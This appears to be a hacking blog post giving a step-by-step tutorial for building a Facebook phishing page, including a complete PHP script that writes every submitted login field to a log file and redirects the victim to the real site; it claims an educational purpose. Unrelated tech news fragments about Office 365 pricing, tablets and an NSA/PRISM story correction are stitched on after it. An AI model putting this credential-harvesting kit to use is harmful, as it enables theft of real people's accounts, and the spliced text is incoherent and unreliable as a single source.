How To Hack Facebook By Phishing Method

Hello friends .......
Phishing is the most common acttack which is used to hack any login details.
For which we need to have phishing pages to upload then in hosting sites. So today i gonno show you the process of to creating phishing pages of any websites.
Here i will show you an example of creating Phishing page (fake loin page) of Facebook.The method is same for any other website


What we are going to do now.
Normally in phishing we will just create a login page which looks same like the real website. For this we need not to code the whole script of the desired website. We just copy the scource code of the website and just change few modifications in page source and create fake login pages.



Step by Step tutorial
1. First go to the desired website Login page for which you want to create Phishing page
  lets take www.facebook.com
2. Right click on the website and choose "page source" . Now you can see the whole script of the website.
3. Copy the whole script and paste it into a text file. Press Cntrol+F and type " action ".
Here in the case of "www.facebook.com ". the script line that has "action" looks something like this.
action="https://www.facebook.com/login.php?login_attempt=1"
Now replace everything inside the quotes with " login.php". so it will look like

action="login.php"
4. Save the file as index.html.
5. Now open a new text file and paste the following code
<?php
header ('Location: http://facebook.com ');
$handle = fopen("logs_86354.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "===============\r\n");
fclose($handle);
exit;
?>
Save it as "login.php"
That's it now we have two files "index.html" and "login.php". Those two are the Phishing pages of facebook now. If you want to create any login page the process is same.
How does the Phishing pages work.
Normaly the  websites will be coded in a such a manner that "user name", "password" ( or any login information) entered in the Input box will be directed to the database of the website for authentication. Here we just modified the "page soucrce" to get redirected to the " php file" which creates the text file which contains the login information which the victim enters in the login page.


Important points :-
1. Make sure that You find the " page source " in login page of the website. Not for any other page in the website. For example if you want to create phishing page of facebook. You should find  the login page of the website, Not on the other pages like "home" ,"profile" or any other like that.
2. Here i sugested to you to name the file php file as "login.php" . You can name it anything you wish but make sure that that file name should be same name should be there for modified code in action="login.php" and php file name.
For example:-
If you set as action="anything.php"  pHp file name should also be anything.php.


Note:-
This Tutorial is for educational purpose only, I just want to make you aware about all hacking methods, So don’t misuse this hacking tricks. We are not responsible for any wrong thing done by you.


So friends, I hope you have enjoying the hacking tutorials here,, If you are facing any problem then please comment below. I am always here to help you out
will reply we with in 24 hours
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(Credit: Microsoft)

A brief history of hating Office Earlier this week I was already feeling a bit insulted by Microsoft's introduction of Office 365 Personal, which gives you a single license (for one PC and one mobile device) for $70 -- for one year. Yep, it's a subscription option, same as the newly rechristened Office 365 Home, which costs $100 and comes with five licenses. Uh, math isn't really my strong suit, but there's something amiss with those numbers.
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It is for those who want to mimic a laptop experience, yet don't want to purchase - or carry - a laptop.

Its screen measures 12-2 inch, giving it about 50% more surface area than Apple's 9.7-inch iPad Air. The Note Pro is also larger than another tablet billed as a laptop replacement, Microsoft's 10.6-inch Surface Pro 2. It's also cheaper; the Surface Pro 2 costs $899.

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Rhoda Alexander, director of tablet and monitor research, HIS Technology told CNET that it will be a "lower volume product and carry a premium price tag." The device may cost over $299, according to Alexander.

She also says that the device will go into mass production in July or August this year, suggesting that it will be launched in the fourth quarter of 2014. Google has tapped HTC to manufacture the Nexus 8.9 tablet.

Chinese technology website Digitimes has also said that Google is readying an 8.9-inch tablet that will go into production in July this year. According to the report, this tablet will have "display resolution of more than 2K (2560x1440p)." The current Google tablet, Nexus 7 (2014 model) has display resolution of 1920x1080p.

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From the beginning of the NSA scandal last summer, tech companies have furiously denied that the NSA had direct access to their data. They have also denied knowing anything about the program that apparently allows the NSA to forcibly demand user data, known as PRISM. Moreover, they have publicly lobbied the U.S. Government to permit them to disclose the number of users that have been surveilled by the NSA, authorized by the Foreign Intelligence Surveillance Court (FISC).
Companies suing the government for the ability to be more transparent eventually won that case, and have since disclosed — within still harsh restrictive bounds — more information on government data requests.
Thus, Facebook quickly denied the new accusations. In a statement, the company told TechCrunch:

“Before it was reported in the news, we had never heard of ‘PRISM’ or any program in which Internet companies, voluntarily or otherwise, gave the government direct access to servers or in any way facilitated the bulk collection of user data. At the same time, we never suggested that we were not aware of our obligations under FISA, which was the topic of today’s hearing. In fact, we have been fighting for more transparency around the lawful national security-related requests from the U.S. Government that we may receive under this statute. The suggestion that we were misleading the public is frustrating and untrue.”

Soon after we received this statement, The Guardian issued a major “amendment” to their story.

“This article was amended on 20 March 2014 to remove statements in the original that the testimony by Rajesh De contradicted denials by technology companies about their knowledge of NSA data collection. It was also updated to clarify that the companies challenged the secrecy surrounding Section 702 orders. Other minor clarifications were also made.”

Section 702 refers to a law that permits some of the more controversial intelligence agency surveillance programs [PDF].
When asked whether The Guardian still stands by their original interpretation of the story, spokesman Gennady Kolker wrote back, “The article was amended to clarify and correct our reporting, in line with the Guardian’s policy and practices.”
In the original piece, The Guardian wrote the following:

The senior lawyer for the National Security Agency stated unequivocally on Wednesday that US technology companies were fully aware of the surveillance agency’s widespread collection of data, contradicting month of angry denials from the firms.
…
The NSA’s Wednesday comments contradicting the tech companies about the firms’ knowledge of Prism risk entrenching tensions with the firms NSA relies on for an effort that Robert Litt, general counsel for the director of national intelligence, told the board was “one of the most valuable collection tools that we have.

Now the passages read as follows:

The senior lawyer for the National Security Agency stated on Wednesday that US technology companies were fully aware of the surveillance agency’s widespread collection of data.
…
De and his administration colleagues were quick to answer the board that companies were aware of the government’s collection of data under 702, which Robert Litt, general counsel for the director of national intelligence, told the board was “one of the most valuable collection tools that we have.

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